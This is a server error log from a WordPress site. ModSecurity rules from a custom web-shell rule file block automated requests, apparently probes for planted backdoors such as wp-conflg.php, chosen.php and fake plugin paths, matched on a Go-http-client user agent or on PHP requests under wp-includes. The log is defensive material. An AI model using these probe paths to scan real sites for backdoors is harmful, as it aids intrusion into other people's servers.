[Wed Feb 04 00:36:32.832092 2026] [:error] [pid 5229:tid 5240] [client 85.203.21.76:41725] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "aYIkEEKmEgmJub93yUpI7wAAAYk"]
[Wed Feb 04 00:36:33.125112 2026] [:error] [pid 28720:tid 28743] [client 85.203.21.137:21915] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/video/"] [unique_id "aYIkEWmRXm2bmr_sYiYLJAAAARU"]
[Wed Feb 04 00:36:33.420623 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.88:27957] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/157.php"] [unique_id "aYIkEUKmEgmJub93yUpI9gAAAZg"]
[Wed Feb 04 00:36:33.714003 2026] [:error] [pid 42921:tid 42982] [client 85.203.21.74:34293] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "aYIkEYblShffGl-01oe0HwAAAFg"]
[Wed Feb 04 00:36:34.007411 2026] [:error] [pid 28720:tid 28725] [client 85.203.21.143:36025] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aYIkEmmRXm2bmr_sYiYLJQAAAQM"]
[Wed Feb 04 00:36:34.310162 2026] [:error] [pid 5148:tid 5154] [client 85.203.21.96:31613] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aYIkEr83HCHLtUIbS7Io0gAAAUM"]
[Wed Feb 04 00:36:34.604051 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.152:36457] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-title/"] [unique_id "aYIkEr83HCHLtUIbS7Io0wAAAVg"]
[Wed Feb 04 00:36:34.896657 2026] [:error] [pid 28720:tid 28731] [client 85.203.21.115:48453] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/wp-conflg.php"] [unique_id "aYIkEmmRXm2bmr_sYiYLJgAAAQk"]
[Wed Feb 04 00:36:35.189284 2026] [:error] [pid 5148:tid 5156] [client 85.203.21.130:31103] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/chosen.php"] [unique_id "aYIkE783HCHLtUIbS7Io1QAAAUU"]
[Wed Feb 04 00:36:35.480820 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.120:28329] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/chosen.php"] [unique_id "aYIkE1nHWnJD4cJC5DsDwgAAANg"]
[Wed Feb 04 00:36:35.778646 2026] [:error] [pid 42920:tid 42941] [client 85.203.21.72:35715] [client 85.203.21.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-conflg.php"] [unique_id "aYIkEyix3YKltG4EU0m-GQAAAAw"]
[Wed Feb 04 00:36:36.070596 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.133:26259] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aYIkFFnHWnJD4cJC5DsDxQAAANc"]
[Wed Feb 04 00:36:36.367288 2026] [:error] [pid 28720:tid 28722] [client 85.203.21.71:51741] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-domain.php"] [unique_id "aYIkFGmRXm2bmr_sYiYLKQAAAQA"]
[Wed Feb 04 00:36:36.659202 2026] [:error] [pid 5229:tid 5253] [client 85.203.21.100:23303] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/admin.php"] [unique_id "aYIkFEKmEgmJub93yUpJDwAAAZY"]
[Wed Feb 04 00:36:36.952399 2026] [:error] [pid 28720:tid 28744] [client 85.203.21.132:44599] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "aYIkFGmRXm2bmr_sYiYLKgAAARY"]
[Wed Feb 04 00:36:37.244831 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.73:42095] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-title/"] [unique_id "aYIkFVnHWnJD4cJC5DsDyQAAAMM"]
[Wed Feb 04 00:36:37.543934 2026] [:error] [pid 5229:tid 5247] [client 85.203.21.133:46371] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/5PJcpMFsD8B.php"] [unique_id "aYIkFUKmEgmJub93yUpJFQAAAZA"]
[Wed Feb 04 00:36:37.840710 2026] [:error] [pid 42921:tid 42972] [client 85.203.21.105:35629] [client 85.203.21.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aYIkFYblShffGl-01oe0IQAAAE4"]
[Wed Feb 04 00:36:38.133875 2026] [:error] [pid 42920:tid 42933] [client 85.203.21.150:49595] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/development/"] [unique_id "aYIkFiix3YKltG4EU0m-HgAAAAQ"]
[Wed Feb 04 00:36:38.425892 2026] [:error] [pid 42922:tid 43004] [client 85.203.21.119:63847] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aYIkFmazX4WPS_dQRkjWcgAAAJM"]
[Wed Feb 04 00:36:38.732303 2026] [:error] [pid 5229:tid 5239] [client 85.203.21.71:23765] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/"] [unique_id "aYIkFkKmEgmJub93yUpJHgAAAYg"]
[Wed Feb 04 00:36:39.025837 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.73:23971] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aYIkF1nHWnJD4cJC5DsDzAAAAMw"]
[Wed Feb 04 00:36:39.323332 2026] [:error] [pid 42921:tid 42975] [client 85.203.21.79:40243] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aYIkF4blShffGl-01oe0IgAAAFE"]
[Wed Feb 04 00:36:39.615570 2026] [:error] [pid 5229:tid 5235] [client 85.203.21.150:43889] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-edit-link/"] [unique_id "aYIkF0KmEgmJub93yUpJIQAAAYQ"]
[Wed Feb 04 00:36:39.912224 2026] [:error] [pid 5148:tid 5160] [client 85.203.21.153:20911] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/chosen.php"] [unique_id "aYIkF783HCHLtUIbS7Io3AAAAUk"]
[Wed Feb 04 00:36:40.206160 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.137:42715] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/chosen.php"] [unique_id "aYIkGFnHWnJD4cJC5DsD0AAAAMo"]
[Wed Feb 04 00:36:40.500620 2026] [:error] [pid 42920:tid 42942] [client 85.203.21.81:28123] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/elementor/"] [unique_id "aYIkGCix3YKltG4EU0m-JAAAAA0"]
[Wed Feb 04 00:36:40.798763 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.120:51809] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/autoload_classmap.php"] [unique_id "aYIkGFnHWnJD4cJC5DsD0gAAAMM"]
[Wed Feb 04 00:36:41.091070 2026] [:error] [pid 42920:tid 42938] [client 85.203.21.115:47697] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aYIkGSix3YKltG4EU0m-JQAAAAk"]
[Wed Feb 04 00:36:41.387998 2026] [:error] [pid 5229:tid 5246] [client 85.203.21.88:42779] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/templates/"] [unique_id "aYIkGUKmEgmJub93yUpJLQAAAY8"]
[Wed Feb 04 00:36:43.200299 2026] [:error] [pid 28720:tid 28736] [client 85.203.21.72:44439] [client 85.203.21.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aYIkG2mRXm2bmr_sYiYLLgAAAQ4"]
[Wed Feb 04 00:36:43.491984 2026] [:error] [pid 5148:tid 5159] [client 85.203.21.112:26649] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/autoload_classmap.php"] [unique_id "aYIkG783HCHLtUIbS7Io4AAAAUg"]
[Wed Feb 04 00:36:43.784439 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.116:26621] [client 85.203.21.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aYIkG1nHWnJD4cJC5DsD2AAAAMw"]
[Wed Feb 04 00:36:44.077492 2026] [:error] [pid 5148:tid 5173] [client 85.203.21.137:20015] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "aYIkHL83HCHLtUIbS7Io4wAAAVY"]
[Wed Feb 04 00:36:44.369277 2026] [:error] [pid 5229:tid 5248] [client 85.203.21.71:49233] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/datate.php"] [unique_id "aYIkHEKmEgmJub93yUpJNAAAAZE"]
[Wed Feb 04 00:36:44.661279 2026] [:error] [pid 5148:tid 5155] [client 85.203.21.137:44349] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "aYIkHL83HCHLtUIbS7Io5AAAAUQ"]
[Wed Feb 04 00:36:44.952165 2026] [:error] [pid 5229:tid 5236] [client 85.203.21.119:57401] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aYIkHEKmEgmJub93yUpJNQAAAYU"]
[Wed Feb 04 00:36:45.244129 2026] [:error] [pid 42920:tid 42953] [client 85.203.21.141:39227] [client 85.203.21.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wpforms/"] [unique_id "aYIkHSix3YKltG4EU0m-KQAAABg"]
[Wed Feb 04 00:36:45.536308 2026] [:error] [pid 43028:tid 43030] [client 85.203.21.130:29773] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "aYIkHVnHWnJD4cJC5DsD3QAAAMA"]
[Wed Feb 04 00:36:45.829439 2026] [:error] [pid 43028:tid 43044] [client 85.203.21.119:22451] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments/"] [unique_id "aYIkHVnHWnJD4cJC5DsD3gAAAM4"]
[Wed Feb 04 00:36:46.121223 2026] [:error] [pid 43028:tid 43051] [client 85.203.21.95:47149] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aYIkHlnHWnJD4cJC5DsD4AAAANU"]
[Wed Feb 04 00:36:46.416896 2026] [:error] [pid 5148:tid 5167] [client 85.203.21.111:35739] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aYIkHr83HCHLtUIbS7Io6AAAAVA"]
[Wed Feb 04 00:36:46.708361 2026] [:error] [pid 42920:tid 42947] [client 85.203.21.93:35637] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYIkHiix3YKltG4EU0m-KwAAABI"]
[Wed Feb 04 00:36:47.006786 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.81:63739] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wpr-addons/forms//file_content_657f93f532f3b/"] [unique_id "aYIkH783HCHLtUIbS7Io6QAAAVg"]
[Wed Feb 04 00:36:47.301800 2026] [:error] [pid 42921:tid 42982] [client 85.203.21.99:44779] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cgi-bin/"] [unique_id "aYIkH4blShffGl-01oe0LAAAAFg"]
[Wed Feb 04 00:36:47.593414 2026] [:error] [pid 43028:tid 43032] [client 85.203.21.133:60371] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aYIkH1nHWnJD4cJC5DsD4gAAAMI"]
[Wed Feb 04 00:36:47.887121 2026] [:error] [pid 43028:tid 43039] [client 85.203.21.130:47771] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYIkH1nHWnJD4cJC5DsD4wAAAMk"]
[Wed Feb 04 00:36:48.181447 2026] [:error] [pid 28720:tid 28735] [client 85.203.21.115:31951] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aYIkIGmRXm2bmr_sYiYLMAAAAQ0"]
[Wed Feb 04 00:36:48.486295 2026] [:error] [pid 42920:tid 42948] [client 85.203.21.111:57171] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aYIkICix3YKltG4EU0m-LAAAABM"]
[Wed Feb 04 00:36:48.808737 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.99:25577] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYIkIFnHWnJD4cJC5DsD5AAAAMo"]
[Wed Feb 04 00:36:49.114438 2026] [:error] [pid 42920:tid 42941] [client 85.203.21.115:57501] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aYIkISix3YKltG4EU0m-LQAAAAw"]
[Wed Feb 04 00:36:49.413308 2026] [:error] [pid 43028:tid 43045] [client 85.203.21.152:25687] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/gv0eai61i0kwhxf2w28z/nrhogjyecktixbal0fnt5Cdefault.php"] [unique_id "aYIkIVnHWnJD4cJC5DsD5gAAAM8"]
[Wed Feb 04 00:36:49.706812 2026] [:error] [pid 43028:tid 43036] [client 85.203.21.101:58007] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aYIkIVnHWnJD4cJC5DsD5wAAAMY"]
[Wed Feb 04 00:36:50.005504 2026] [:error] [pid 5148:tid 5170] [client 85.203.21.88:33439] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css.php"] [unique_id "aYIkIr83HCHLtUIbS7Io7gAAAVM"]
